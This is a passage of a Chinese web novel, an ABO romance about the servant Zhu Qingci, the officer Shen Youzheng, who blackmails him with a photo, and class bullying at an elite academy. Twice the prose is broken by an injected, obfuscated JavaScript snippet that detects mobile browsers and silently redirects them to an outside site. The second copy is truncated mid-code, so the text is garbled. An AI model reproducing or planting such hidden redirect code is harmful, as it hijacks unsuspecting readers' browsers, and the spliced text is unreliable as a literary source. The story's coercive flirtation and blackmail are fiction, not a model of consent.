他视线丝毫不忌讳祝青辞,慢条斯理地,却仿佛要将祝青辞刮一层皮下来。祝青辞被他的目光看得莫名觉得皮肤火辣辣的,挣脱他抓住自己的手,好半晌才憋出一句话:“不知道沈小军爷来这里,是要……” “你男朋友叫我照顾你,我不就来了?” 祝青辞一噎,“戚……戚珣他来过了?” 沈有铮懒散地笑了笑:“来过,不过很快就走了。看来,你在他心里地位也不怎么样。你们真的是那种关系?” 祝青辞不明白沈有铮说这个,是什么意思。他感觉了一下自己身体,松了口气。 发|情热……应该是发|情热已经褪下去了,头也不烧了,身体轻盈了很多。 他想起那种身体不受控制的酥麻感,头皮还有些发麻,已经下定决心回去一定要多囤几只抑制剂。 半晌,他想起什么似的,对沈有铮伸出手,“相片……可以麻烦删了吗。” 他记得还有个定时炸弹在沈有铮这里,昨天他不小心与易感期的蒋白止碰上,结果落下这么一张暧昧的照片。 如果戚珣知道,必然会发生特别麻烦的事情。 然而沈有铮目光缓慢顺着他的脸,挪到他伸出来的手上,勾了勾唇,“我救了你,这是你求人的态度?” “昨晚你抱着我,死活不松手,可不是这样一张嘴脸。如今睡了我,便想翻脸不认人,如此背信弃义,真叫我寒心。” 他幽幽地叹了口气,祝青辞瞬间头皮发麻。 什么时候? 他可还是记得此人在仓库里的种种表现,恶劣至极,微笑的假皮下藏着冰冷刺骨的厌恶,以及淡淡的恨意。 如果不是他,他至于那么铤而走险,用抑制弹吗? 即使祝青辞脾气好,也无法容忍,更何况,昨天沈有铮几乎是在羞辱他了,故意看他因为发|情期艰难挣扎,还用视频恐吓他,这让他对沈有铮的初始印象极其不好。 他客气而疏离道:“抱歉,昨晚是意外,叨扰沈小军爷了,医药费我会努力攒钱还给你的。” “只是医药费吗?”沈有铮像是感觉不到祝青辞对他的排斥,笑得眉眼弯弯,像是一只油光水滑的大尾巴狼,此刻正慢悠悠地晃着尾巴,“抑制弹单颗一万八呢,小男友。” 他喊“小男友”,不喊前缀,总觉得怪怪的。毕竟“戚珣的小男友”,和“小男友”,听起来似乎格外不同。 祝青辞一个哆嗦,被那“一万八”一砸,差点叫出声来。 天呢!他怎么就欠这么多钱了! “对不起沈少,我……我没这么多钱……” 他软着声音,似乎有些局促不安,柔软得像是一只无害的小动物,怯生生地抬眼看人,咬唇道:“要不……我先回去上学,我一定会想办法把钱还给你的。” 沈有铮看着他轻轻震颤的眼瞳,莫名其妙想要摸一摸。 他是那种想做什么便做什么的人,于是趁祝青辞还在发愣时,手便往他眼睛靠过去。 祝青辞却反应很快,猛地向后一躲,结果躲得太快,睫毛不小心被沈有铮拔掉一根。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13731089|145045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祝青辞额角青筋一跳,方才摆好的表情差点绷不住。 ……这人什么毛病? 两个人大眼瞪小眼,祝青辞似乎是被拽疼了,瞪着一双漂亮眼睛看向沈有铮,汩汩地冒出点水汽,脸上有些恼羞成怒的神色,但是只是一闪而过,就匆匆低下头。 沈有铮被他瞪了几眼,忽然起身,将衣服扔到祝青辞脸上,“愣着做什么,走吧,送你回学校。” 祝青辞坐上他的车时,还有些恍惚。他本意是十分抗拒与沈有铮共处一室的,并且,昨天仓库的事情让他觉得沈有铮很危险。 与戚珣、丁宴都不同,他无法看穿沈有铮的想法。可是他一出门,周边一片荒山野岭,只有几辆军用吉普停在路边,以及一辆看上去便价值不菲的军用SUV。 “沈少。” 门口的医生见了他,纷纷打招呼,有士兵驻守,也纷纷向他敬了个礼。 沈有铮回礼的时候,原本松散的站姿会忽然绷直,像是一棵挺拔的松树,脸上的笑容会收起,让他原本有些轻浮的面孔显出一些与年龄不符的沉稳。 “还不上车的话,就把你抛在这里了。”沈有铮看出来祝青辞似乎有些抗拒,手撑在方向盘,朝他施施然一笑,“上车吧,小男友。” 祝青辞心里衡量了一下利弊,最后木着一张脸上车。 上车时,沈有铮居然没再说话。他表情平静地开车,倒是很恪守开车时不说话的规则,令祝青辞一时间有些迷茫。 车里面有很淡的香水味,闻起来很舒适,更意外的是,后视镜下挂着一个小鼻嘎点大的小狗玩具,看上去蠢萌蠢萌,一路上摇摇晃晃地,倒是十分可爱。 加德王立学院外种了一大片郁金花田,好在路程并没有特别远,祝青辞不动声色的松了一口气。 然而快开至学院的前面一条街时,沈有铮忽然不紧不慢地踩住刹车,将车停在路边。 路边顿时有行人惊讶地望向他们,对这辆军用SUV指指点点。 祝青辞抬起一双眼,有些不解地望向沈有铮。 做什么? 祝青辞是个耐性很好的人,但是他目前只觉得人生从未有当下般如此煎熬,仿佛屁股上冒了火,让他对回学校有种归心似箭的迫切。 沈有铮一回头,就看见祝青辞看着自己,蓝宝石似的漂亮眼睛里满是疑惑,看得人心头一热。 他不经祝青辞同意,便将手伸过去。车内空间太狭小,祝青辞想躲没躲掉,被他摁住了的眼尾,往上一拉。 omega一双原本看上去温温和和的眼睛,瞬间被沈有铮拉成狐狸眼。 祝青辞惊呆了,他下意识地“啪”地一下,拍开沈有铮的手,平时总爱垂着眼睛,看不清表情的脸像是终于暴晒过头的水泥,终于皲裂出一道裂缝,又惊又怒道:“你干什么……!” “不装了?”沈有铮用一种看新奇玩具的期待眼神在看他,一副迫不及待,想要把他玩坏的恶劣表情,悠悠然吐出三个字:“小狐狸。” 祝青辞身体一僵,“……我不懂你在说什么。” 沈有铮挑了挑眉,松开手,omega眼神垂着眼,纤长的睫毛在苍白的脸上浮现一小块阴影。 他看上去像是一个苍白的瓷器,适合被人放置在橱窗中观赏亵玩,弱气得似乎根本不会反抗,整张脸素白,只有唇瓣那一点胭脂似的红。 ……看上去,很想咬。 沈有铮忽然靠近,祝青辞像是被吓到一般,往后靠,然而沈有铮只是帮他调整了一下安全带,只是擦肩而过时,他的呼吸轻轻打在Omega雪白的耳垂上,让祝青辞忍不住起了鸡皮疙瘩。 沈有铮垂着眼睛,看那一小块嘟嘟的肉,轻笑一声,在他耳畔低声耳语道:“是吗?我可不知道戚家一个普通柔弱的小仆从居然会枪。” 他开玩笑似的:“不会是哪里来的卧底吧?” 祝青辞眼瞳不自觉地缩小了一下。 然而此时,窗外却忽然传来声音,两个人皆是一愣,嘈杂的闹市中,有人喊道:“小祝警官!” 14. 第 14 章 祝青辞下意识地回头。 窗外,一个男人气喘吁吁地追上一个穿着蓝色制服的警察,两个人像是熟人,男人递过去一个塑料袋,里面包子还热腾腾地冒着热气。 “谢谢你上次帮我把迷路的女儿带回来啊!” 警官看上去很年轻,他腼腆而局促,似乎推脱了一下,推不过来,便无奈地接了,与男人坐在街角的屋檐下笑着说些什么。 雨后的青石砖折射着彩色的光芒,两个人穿着很朴素,身上一股浓郁的烟火气,祝青辞望着窗外,眼睛中有一丝怔忪,怔怔地望着那一幕。 沈有铮瞥了他一眼,他看着omega的表情,眼神深深,挑了挑眉。 人下意识的反应是最直接的。而被喊到自己的名字,无论是谁,都会有所反应。祝青辞方才的表现分明像是被喊到了自己的名字。 ……小祝警官? 这就很有趣了。 窗外,两个人交谈一阵后,便起身离开了,男人起身后,又与好几个人打了招呼,最后停在一个补习班面前。 补习班装潢十分精致,一看便价格不菲,男人四处张望了一下,好不容易,等到一个老师走过来,便如蒙大赦地拉住他,“贺老师。” “贺老师,您看,这里是四千块,我,我知道不够交这学期的学费,但是你,你能不能先给我家囡囡上两个月的课?” 他递过去四千块,被称作贺老师的男人一身西装,傲慢而冷淡地睨着他,不紧不慢道:“四千块?” 男人揪着自己的衣角,似乎也意识到钱不够,局促地点了点头,一双眼睛里却还是充满着期盼,“我、我知道这不符合规定,但是我们家里只有这么多钱了,我想让她考个好的高中,我不想让她与我一样,一直呆在穷困落魄的地方……” 贺老师打断他,冷笑道:“你当侮辱谁呢?谁会管你们怎么样?凑不够钱,就滚。没钱还想白嫖,不要脸。” 他一巴掌拍开男人递钱的手,惹眼的纸钱瞬间飘飞,那里面并不都是大金额的钞票,不少甚至零零散散,被麻绳捆起。 只是麻绳猝不及防被这般一打,不怎么结实地松了结,瞬间,纸钱纷纷扬扬,男人脸色大变,连忙佝偻着腰四处捡钱,然而,却依然有路人偷偷摸摸地在他身后把属于他的钱捡走。 祝青辞脸色微微变了变,他躬起身子,手放在车门上,似乎想要打开门,可他一摸上门把手,身后就有道视线将他钉住了。 沈有铮撑着下巴,他刚刚开车时还戴了个KOCORIUM的墨镜,墨镜处还有一条细细的银链,在光线下闪闪发亮。 眼下,他把墨镜顶在毛茸茸的金发上,一双翠绿色的眼眸似笑非笑地看着祝青辞,像是很好奇他会做什么。 祝青辞顿了一下,他又看了窗外那个“贺老师”一眼,总觉得这人莫名熟悉,最后收回自己的目光。 “不下去帮忙吗?” 沈有铮撑着脸,眯起一双狭长的眼睛。 他是很典型的桃花眼,睫毛颜色偏浅,因此更显得那双瞳孔颜色浓郁,与祝青辞的浅瞳不太一样。 “我只是一个仆从而已,”祝青辞垂下眼,“没钱没权,比不上各位少爷。” 沈有铮莫名觉得牙酸,总觉得被这只小狐狸不紧不慢地挤兑了一下,他舔了舔上颚,慢悠悠道:“怎么一副阴阳怪气的模样?有谁不喜欢钱和权么?那些说着不喜欢的,不过只是因为自己不是特权而已。换做他们是特权,他们可是比谁都还要面目可憎。” “你与他们,又有什么区别呢?” 封闭的空间安静了一瞬,门外是飘飞的纸票,如烟火燃烧后纷纷扬扬的余烬,朝阳透过树梢轻轻跌落在他们头顶,光阴静悄悄地流淌着,唯有二人沉默寂静。 沈有铮似乎想起了什么,下颔线绷紧,神情冷淡下来,修长的指尖无意识地摩挲了一下自己的膝盖。 祝青辞看着他,心想,得,又在说些不懂的话了。 他怀疑自己是不是上一世得罪过这个冤家,沈有铮有时候看他的目光幽幽,活像是一个被劈腿的丈夫,幽怨下隐藏着一丝憎恶,但是很快又被青年浮上来的笑意遮掩。 他还待再看,沈有铮却不给了。他“啪嗒”一声,将头顶的墨镜扣下来,架在他高挺的鼻梁上,吹了声口哨,无事发生似地一踩油门,“走了。” 沈有铮并没有把他送到校门口,而是直接开进了地下车库。两个人分开的时候,沈有铮手搭在车门上,一副没骨头的模样,懒懒散散地站着,手中的车钥匙在食指上转着圈。 “小男友,”他喊了一声,笑声轻浮,“加个号码吧。” 祝青辞想也没想,“不……” 沈有铮立刻道:“照片。” 祝青辞:“……”他说,“给了你可以把照片删了吗。” “这么挂念?本来只是一个误会而已,这么紧张,是怕谁会看到?” 祝青辞看着他,沈有铮便耸了耸肩,把手机递过去,眼睛弯起,“不过,如果你可以答应我,实现我三个要求,我就答应你把照片删了。” 他看见祝青辞蹙起眉头,很快地补上:“放心,不会让你做有违道德,有违法律,有违本心的事情。” 祝青辞沉默半晌,才闷闷道:“好。” “让我满意。”他靠近祝青辞耳垂。omega的耳垂白玉似的,像是一颗漂亮的珍珠。他故意似地往里面吹了口气,暖流灌进omega敏感的耳垂里,他垂着眼,看见omega瞳孔缩了缩,浑身下意识地紧绷。 两个人交换号码,沈有铮十分自来熟地翻了翻祝青辞的通讯录,居然只有三个人,戚父,戚母,还有戚珣,标注分别为老爷,太太,和少爷。 “我这算是你第一个认识的朋友吗?” 沈有铮若有所思,祝青辞浑身毛都要炸起来了。这人怎么乱翻别人手机,连忙把手机抢回来,说:“……不算,我们是绑架犯和受害者的关系。” 他脸上还有一丝没来得及收回去的愠怒,沈有铮只觉得自己仿佛又薅了一把狐狸尾巴,心情很好,“这么急做什么?你用的什么上世纪的手机?戚珣不知道给你买好一点的吗?” “他这个男朋友当得可一点也不称职。怎么样,小男友,有没有考虑换一个?”沈有铮往前走了一步,祝青辞一往后退,腰部却直直地撞在了车上。 他能闻见沈有铮身上一点淡淡的味道,不知道怎么形容,很清爽。青年将两只手撑在他的头侧,将祝青辞锁住,不让他逃跑,仿佛困住猎物的捕食者。 他眉飞入鬓,五官深邃,呼吸间都带着热气,体温天生就比常人更加滚烫一点,压迫感极强,像是一头饕足的狮子。 他们对视着,祝青辞深呼吸一口气,“戚珣不会答应的。沈少,我要去上课了。” 沈有铮:“你这话说得可真有意思。如果戚珣答应,岂不是你也会答应?” “他是我的少东家。自然他说什么,我便要听他的了。” 祝青辞神情很平静。沈有铮眉宇间笼罩下一片阴影,居高临下地看着他,半晌,放开了手。 两个人一分开,祝青辞便低头看向自己的手机,沈有铮赫然给自己备注为“绑架犯先生”,不知道是在应和祝青辞挤兑他的话,还是在玩什么特殊play。 祝青辞有些无语。 他是真的看不透沈有铮,不过,沈有铮既然也在军部中,说不定以后还有用得上的地方。 他思考半晌,在手机备注中,面无表情地将沈有铮的昵称更改了: 【疯狗】 * 祝青辞回到教室时,前段测试的成绩刚好发下来了。 班级里顿时一片沉重气氛。虽然大家嘴上说着不在意成绩,但若是考得好了,在自家少爷小姐面前也更有脸面。 双胞胎alpha凑过来,“辞哥,你考得怎么样?” 祝青辞看着自己的成绩,“不怎么样。”手中的试卷却被抽走,双胞胎alpha顿时咂舌,“60分?我都比你高一分,辞哥,你是不是不擅长学习?” “什么叫不擅长,怎么说话的?”另一个alpha立刻给了他一肘子,“学习又没用,人家这是不屑于把自己的精力放在无用的事情上,擅长这种算术题有什么用,我去菜市场买菜又不需要微积分和导数……是吧辞哥?” 他刚露出一个殷勤的笑,身旁的双子却“咦”了一声,“辞哥,这些大题你居然都会做?可是为什么前面的小题反而扣分了……前面的应该更简单吧?” 祝青辞把试卷从他手中抽出来,用笔杆敲了一下他的手背,含糊道:“粗心而已。孟边水,不要乱拿别人东西。” 又顺便敲了一下孟飞鹄的额头,“学习怎么没用了?不学习,小心以后被别人骗,都还像个傻子一样替人数钱。” 孟飞鹄瞬间捂着额头,有些委屈,孟边水不吭声似地低下头,却是一副认错的表情。 两个alpha双胞胎是蒋家的仆从,哥哥叫孟边水,性格稍微沉稳一点,弟弟则叫孟飞鹄,性格跳脱。他们成绩不好,却很擅长体育,放学后的篮球场总是能出现他们的身影,也能听见不少omega尖叫着为他们打气加油。 加德王立学院中的阶级地位依次顺排:红,黑,白。其中红色大都为王公贵族,豪门世家,黑则为这些人的仆从,白色则是靠成绩升上来的特优生。 红>黑>白。不过即使是同一阶层的,地位和名声也有不同。像是眼前两个alpha,在仆从和特优生中便是极其受欢迎的。 不仅是因为他们是双胞胎,他们的性格也很随和,大大咧咧,哥哥长相偏阴柔一点,弟弟更为阳刚,却都长得十分出色。 弟弟还有些不服气,他倔强地扬起头,用一种清澈且愚蠢的目光瞪着祝青辞,右耳的耳钉如他发光的大脑一般闪耀,“学习本来就没用嘛……学好了又没奖励。难道我下一次分考高了,辞哥你就会接我的巧克力了?” “……”祝青辞眉眼间露出些许无奈,他翻了翻孟飞鹄的试卷。 天呢。十四分,怎么做到的? 孟飞鹄看见他露出那种于心不忍的表情,“你……你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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孟边水一脸晴天霹雳,整个人肉眼可见地耷拉下来,像是一只得不到营养、忽然蔫吧的草,失魂落魄地拖着脚步回到座位上,嘴里似乎幽幽吐出一个苍白的魂魄,石化在自己的座位上等待风干。 祝青辞:“……”这个学院里没有正常人吗? * 放课后,祝青辞又去找了一趟班主任。文意坐在座位上,用一种无奈的表情,看着他,“你真的要去考军部?上一次的事情我也听说了,你落水后就发烧了吧?” 祝青辞却很坚定。他叹了口气,很忧愁似的,“唉……你这体质,即使过了笔试,后面的实战考试怎么办?你……你如果真的很坚持,就帮你试试吧。你有报名费吗?” “有。”祝青辞这些年有偷偷打过一些工,攒过一些钱,他不打算用戚家的钱。 文意只能认命,“好吧,我帮你试试,但是你别抱太大期待哈。” “谢谢老师,”祝青辞朝他笑了笑,文意看着他,白白净净的一个少年,有些瘦,想到他的体检报告,又想起自己也有一个这么半大的孩子,忍不住有些心疼,“不过你就算要准备考试,也千万注意身体,不能胡来啊。” 祝青辞感激地点了点头,心里也有些暖意。这些年,他还是第一次收获关心,戚家每逢他生病,都只会觉得麻烦,好像他是什么糟糕的包袱一样。 戚珣……戚珣以前会担心他,可是现在却很冷淡。 [可是你是他捡回来的,如果不是他,你在泥石流中就会丧命。所以你喜欢他,爱他,愿意为他付出一切……] 祝青辞额角猛地一跳,脸色微微一变。 那个无机质的奇怪的声音又出现了,他张望了一下,四周只有文意疑惑地看着他,“怎么了?” 祝青辞微微蹙眉,他摁下心中的疑问,摇了摇头,忽然想起一件事,问道:“老师,我有一个问题,我们学校的老师可以去外面接私活吗?” 文意看上去有些惊讶,“当然不行了。毕竟学院开的工资已经很丰厚了,何况,当初合同上白纸黑字写了的。如果去外面补习,甚至有可能面临解约风险以及高额赔偿金。” 祝青辞若有所思地点了点头,他站起来,将报名费转交给文意,文意唉声叹气地帮他缴费。 祝青辞看了看时间,他还有个仆从的身份,这个点,差不多要去照顾戚珣了。 他在戚家六年,在戚家时,有保姆会帮戚珣洗衣做饭熨衣,他只需要端茶倒水,到了这边,戚珣的所有起居全落他头上了。 不过好在祝青辞耐心一向很好,更何况,戚家承担了他的学费和医疗费,他如今既然不是养子身份,就理所应当地做这些工作。 他低头盘算着时间,一时没有注意到,在教学楼的转角,猛然撞到了一个人身上。 “你干什么?!” 祝青辞一抬头,就看见一个红发的男生一脸怒气,他胸前佩戴着红色校徽,一看便是哪家的少爷,而他身旁,还有个跪在地上的男生,身上淋满了汤汁,浑身脏兮兮地,几乎看不见胸前佩戴的白色校徽,正抬头一脸惊恐地看着他。 这分明是霸凌现场,祝青辞转头就走,却被红发男生猛地抓住了手腕,恶劣又狠毒地道:“喂!谁允许你走了?” 15. 第 15 章 祝青辞见避无可避,只能道:“你们在做什么?” 红发男生胸前的名牌写着“林烨”两个大字,他瓜子脸,五官却莫名有些拥挤,眼睛不大。 乍一看,长得甚至有些贼眉鼠眼,眉宇间带着一股贱气,看着令人莫名手痒,十分想要抽他一巴掌。 祝青辞手指抽动一下,仍然不动声色。林烨呵呵道:“还能做什么?看他不顺眼,教训他一下。喂,你就是戚少的小仆从吧?” “长得也不怎么样嘛,听说你爬上了戚少的床?就你这平板身材,要肉没肉,还惨白着一张脸,一副短命模样,真是磕碜。” 他故意靠近了几分,祝青辞立刻后仰,林烨笑眯眯道:“这周有迎新舞会,到时候A班所有学生都会参加,B班的学生,如果没有邀请信,就不可能入场。我猜,应该没有人会邀请你吧?” “毕竟戚少可不承认你这个‘男友’,他巴不得和你撇清关系,免得脏了他的眼。” 他喋喋不休,祝青辞却注意到跪在地上的男生,男生应该是个beta,身后的窗户上还贴着两张脸,一个男生,一个女生。 三个人长相气质相似,一头褐发,看上去像是三兄妹。他们担心地望着跪在地上的男生,看向林烨的目光带着强烈的憎恨,像是两只还在发育期的幼兽,磨着还并不锋利的爪牙。 他们也注意到了祝青辞。 男生穿着蓝色的制服,胸前没有佩戴校徽,干干净净地站在那里,背景是一片群青色的天空,透过巨大的天窗映照着他,十字架的窗棂在他身上投落一层阴影。 他沐浴在一层柔和而模糊的光线,看上去仿佛一个朦胧的梦中人,背后天窗有白鸽呼啦啦地掠过。 加德王立学院的教学楼建筑都是雪白色的皇宫样式,精美至极的花纹游走着,他低着头,眉宇间端的是平和耐心,看上去柔弱乖巧,敛眉顺目地听着林烨说着什么,然后扭头向他们望过来。 对视的一刹那,他们怔了一刹那。 男生缓慢抬起眼睫,露出一双漂亮如蓝宝石般的眼睛,看上去乖巧,然而眼底却弥漫着一股漫不经心,以及一缕不是很明显的厌倦。 他像是对眼前这些场景习以为常,却也不怎么放在心上。就像是走路遇见挡道的狗,嫌烦,但是也只会站在那里不等,等狗自己识趣地离开。 一瞬间,野性的直觉击穿了两个人,他们像是两只可怜兮兮的流浪狗,挤在窗户边,望向祝青辞的目光瞬间带上了恳求,眉宇间都是焦急与恳切,轻轻地拍打着窗户,口型是:“求求你,救救我们的哥哥。” “……” 祝青辞皱了皱眉,收回目光。 林烨方才说了一大通,他都没有听进去,等到林烨似乎说累了,停下来后,才缓慢道:“林少,可以麻烦你让他不要跪了吗?” 林烨一愣,他瞥了一眼跪在地上的男生,猛地一抬下巴,扯着一边的嘴角,邪邪笑道:“你一个仆从,敢对我发号施令?你以为你是谁?” 祝青辞脾气温和地解释:“不是发号施令,毕竟这里是学校,闹成这样,也不太好。” “有什么不好的?我表叔都是校董会的!蒋家你知道吗?我表叔和蒋少可有过交情呢!” 林烨嚣张至极,“况且,分明是他们欠我钱在先,我就是让他们跪下了,你又能如何?是他自己答应的,我给一千块,就跪一小时。” 他这是赤裸裸地用金钱,去买他人的尊严。祝青辞又看了窗户里的两个孩子一眼,他们看上去颇有些憔悴,眼睛下都是乌青色。 祝青辞自己久病成医,一眼便看出里面的女孩身体也不太好,恐怕是为了医药费才做出如此举动。 他有些厌倦地垂下眼睛,挣开林烨抓着他的手,在两个孩子绝望而凄凉的目光下,他语气平淡地一点头,“抱歉,林少,我还有事,先走了。” 林烨:“你走什么?我让你走了吗……” 他总觉得这个omega身上有股奇特的味道,他狗鼻子似地耸了耸鼻,莫名不想让他走。 “我是戚珣的仆从,又不是你的仆从。” 祝青辞打断他,他垂着眼,睫毛长长地,仿佛黑色的蝶翼,轻声道:“林少,如果我迟到的话,戚少会质问我的。” 他话音落下,空气中那股雪松林般的清香更加明显了,网住了林烨。 林烨脑袋晕乎乎的,下意识想要遵从祝青辞的话。那种气味简直像有什么魔力,让人下意识就想要服从omega。 但他很快反应过来,疯狂地摇了摇头,迟钝的大脑链接回方才的对话。 祝青辞言至于此,已经很明确了,戚珣一旦质问,恐怕就要揪出林烨了。 林烨面孔一时间扭曲,他家只是条件较好的中产家庭,靠着狗屎运和攀亲附戚进的加德王立学院,因此身上还带着股混混似的流氓气。 和沈有铮身上的军痞气不太一样。沈有铮站在那里,像是一个被关在鞘里的利刃,乍一看懒懒散散,但是却能从他的举手投足中,看出生死才能练就出的锋芒。 而林烨却像是一个街边流满口水的鬃狗,怎么也上不了台面。 戚家一个指头就能摁死他,他不甘心,眼珠一转,凑过去,忽然说:“不如打个赌如何?” “你要是能接到迎新晚会的请柬,我就当着你面前狗叫,相反,但是如果你接不到,你就跪下来向我道歉。” 祝青辞:“……” 他没有再理会他,抱着书,低着头,径直越过。 傻子才打这种蠢赌。 林烨的目光有一瞬间的扭曲,阴沉沉地死死盯着祝青辞。 一个omega竟然敢忽视他?! 他决定去彻底打听一下祝青辞与戚珣之间的关系,以及戚珣到底如何看待祝青辞…… 如果戚珣真如传言般所说,极其讨厌他的话,他就可以把这人抓起来,叫他再也不敢小桥他,忽视他。 林烨心中恶狠狠地给祝青辞记了一账。 教室中,兄妹二人看见祝青辞走远,眼中的希望慢慢消失,最后成为一片白茫茫似的寂静。 他们大失所望。 果然,他们刚刚惊鸿一瞥看到的祝青辞根本不是真的。 平白无故,怎么会有人愿意与他们扯上关系呢?祝青辞甚至与林烨对话时都是始终低着头,掩盖着目光的,一副怯懦模样。 也是了,他看上去比他们还要瘦弱,哪有勇气去和红级的贵族豪门争夺? 林烨眼神阴鸷地看着祝青辞走远的背影,懒得理跪在地上的男生,“继续跪,跪完为止。浪费本大爷的心情。” 他往那个男生头上打了一巴掌,男生被他打偏了头,却只是隐忍不发地低着头,浑身上下肌肉紧绷,却也遮掩不了他的狼狈不堪,眼神中一片死寂。 祝青辞走得快,他看了一眼班级,发现这居然就是丁宴所在的班。只是丁宴不知道为什么今天不在。 他思忖片刻,来到A班走廊的尽头,推开了办公室的门,“老师,您好。” 进门是一个穿着西装的男人,他竖着油头,脸上的表情傲慢而冷漠,桌面上有放着名牌,写着“贺山”。 他身旁有个学生,胸前也挂着白色的铭牌,一副被训斥得狗血淋头,屈辱至极的模样。 “我知道你们是特优生考进来的,可是同样就读一所学院,你们所花费的金额可比其他贵族豪门的低廉多了——你知道他们一年学费多少万吗?” “十几万啊。你凭什么以为自己可以获得与他们一样的待遇?” 贺山猛拍桌子,摇摇头,一副怜悯的模样,看着面前被训斥的学生,听到开门声,才转过头去,与祝青辞对视。 祝青辞脚步一顿,在看见那张虚伪浮夸的笑脸时,瞬间反应过来。 ——竟然就是今天早上补习班前碰见的人! 怪不得眼熟,祝青辞想起来了,之前在游泳馆前,文意曾经被一个老师恶意羞辱挤兑过,正是眼前的贺山! 贺山施施然地抬起头,看见祝青辞,皱了皱眉,脸上嫌恶一闪而过,“B班的人?B班的人跑到这边做什么?” A班与B班之间在不同的楼栋,中间用连廊连接,因此A班的人都不太欢迎B班的人走到这边。 祝青辞很有礼貌地点了点头,将方才关于林烨和那个beta的事情与贺山说,最后道:“老师,请问您可以帮助他们吗?” 祝青辞知道自己暂时没有和林烨硬碰硬的资本,况且从体力上看,如果真打起来,他反而容易吃亏。 按照最理智的逻辑去推断,他应该去找老师求助。 只是他没有想到,A班的班主任居然就是今天早上补习班的那个人。 他想到早上发生的那件事,眉头微微蹙起,只是很温顺乖巧地低头,没有表露出来。 贺山微妙地沉默了一会,他虽然穿着西装,却没有多么地衬托出他英明神武,反倒有种油腻的不适感,手腕上戴着二手的名牌高价表。 他靠着椅背,表面上还是温温和和的,但是眼睛却上下轻浮地打量着祝青辞,内心不屑地冷笑一声。 哪里来的B班学生,真是蠢得令人发笑。 阶级差异带来的鄙视链并不是第一天存在于学校中。若是普通学校,老师肯定怎么都要管一管的,然而在这样的学校中,明哲保身比什么都重要。 他嗤嗤在内心嘲笑了一会祝青辞的愚蠢,脸上却露出浮夸的表情,虚伪地笑了笑,“是吗?我没看到呢。小同学,是不是你走错地方了?” “靠,你有没有搞错……!”旁边的学生听了,一脸震惊地抬头,“贺老师,您不应该帮一下他们吗?他们是你的学生啊!” 他激动地上前走,祝青辞却伸手把他拦住了。 他抓着男生的肩膀,男生愣了愣,愤怒还凝固在他脸上,他回过头,看向祝青辞,祝青辞却只是摇了摇头,示意他不要冲动。 他转过头,看向贺山,“打扰老师了。” 与这种人交流简直是废话。祝青辞心中有了评判,脚步不带犹豫地离开。 贺山一愣,浮夸的笑意慢慢消散,最后眼神有些阴鸷地看着祝青辞推门离去的背影。 少年脸色苍白,然而那双银蓝色的眼睛却有那么一瞬间,暴发出极为锋利的目光,像是在砾石中磨出来的刀刃。 有那么一瞬间,他像是一个被火烈狐锁定目光的猎物,少年最后瞥向他时,目光没有一丝温度,莫名令人感到恐惧。 祝青辞回到走廊时,beta还跪在地 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祝青辞将两个兄妹放出来,他们似乎也很惊讶,见到跪在地上的beta,就要扑过来,“哥哥!” beta赶忙躲了躲,“你们干什么,我身上全是菜……很脏。” “不脏!” 两个小孩不顾脏污扑进beta怀里,beta吸了吸鼻子,眼睛里有些眼泪,听到这句话时,死死地抿紧了唇。 祝青辞弯下腰,抱着膝盖蹲在地上。 他看着眼前紧紧拥抱的三兄妹,撑着脸,像是在看一副漂亮温馨的油画,想起什么似地叹了口气,接着,从口袋里掏出一个手帕。 “抬头。”他说。 beta后脊瞬间一股电流猛地窜过,他下意识地挺胸抬头,燃烧的雪松林味道铺面而来,beta一愣,有些恍惚。 他刚刚怎么就下意识地听话了? 祝青辞轻柔地给beta擦脸,beta一愣一愣地,跟年久失修的破旧机器,他迟钝地眨了眨眼。 眼前的omega黑发蓝眼,蹲在他面前,露出一张干净清秀的脸,眼睫毛很长,嘴角带着一点安抚性的笑容,帮他擦干净脸上的烂菜烂叶,朝他歪了歪头。 omega的指尖温润细腻,一擦而过,却仿佛擦起了他某种火花,一路过电似地袭击了他的心脏。 眉毛,眼睫,鼻尖,嘴唇……柔软得仿佛羽毛的亲吻。 “你不觉得脏么?” 他下意识问道,祝青辞怔了怔,随即笑道:“脏什么,很帅。” 他将手帕塞进beta手里,beta反应过来,匆忙道:“你……你帮我们,不怕被林烨知道,找你麻烦么?” “以后的事情,以后再说。” 祝青辞笑了笑:“就当我是一个被你打动的流浪汉,反正身无分文,你不需要为我想太多。” 他笑起来时,流风回雪,轻云蔽日。身后巨大的白窗折射着天空群青色的色彩,十字架倒影被拉得很长,在少年身上,一瞬间神圣无比,而他跪在地上,抬起头时,仿若一个虔诚的信徒。 光是看着少年的笑容,仿佛都能听见自己荒芜世界里,因为忽如其来的温暖而野蛮生长的血肉的声音。 祝青辞撒了一个很小的谎,beta却怔怔地仰望着他,攥着那个手帕。 手帕非常普通,只是,右上角有一小只狐狸,笑眯眯地看着他,看上去可爱而狡猾。 裤腿上忽然出现了几滴深渍,仿佛有雨从天而降。 beta忽然啪嗒啪嗒地掉下了眼泪,怎么也止不住。 手帕上还残留着omega的香气与温度,如果不是上面残留的污垢,有那么一瞬间,他简直是想将脸埋进手帕中。 “你叫什么……” beta反应过来,可是他一抬头,那个少年就不见了。 好似一场风过无痕的梦境,怎么也抓不住,带给他须臾的温暖后,便轻飘飘地消失了。 于是他只能低下头。 慢慢地,慢慢地,将手帕揉皱,目不转睛地死死盯着它。 - 戚珣问:“为什么来这么晚?” 祝青辞低着头,“被人拦了一下。” 戚珣不悦地皱了皱眉,冷笑一声,阴阳怪气,“你可真是招蜂惹蝶。”却扭头对旁边的另一人冷冷地道:“查。我不希望下次还有这种事发生,耽误我的行程。” 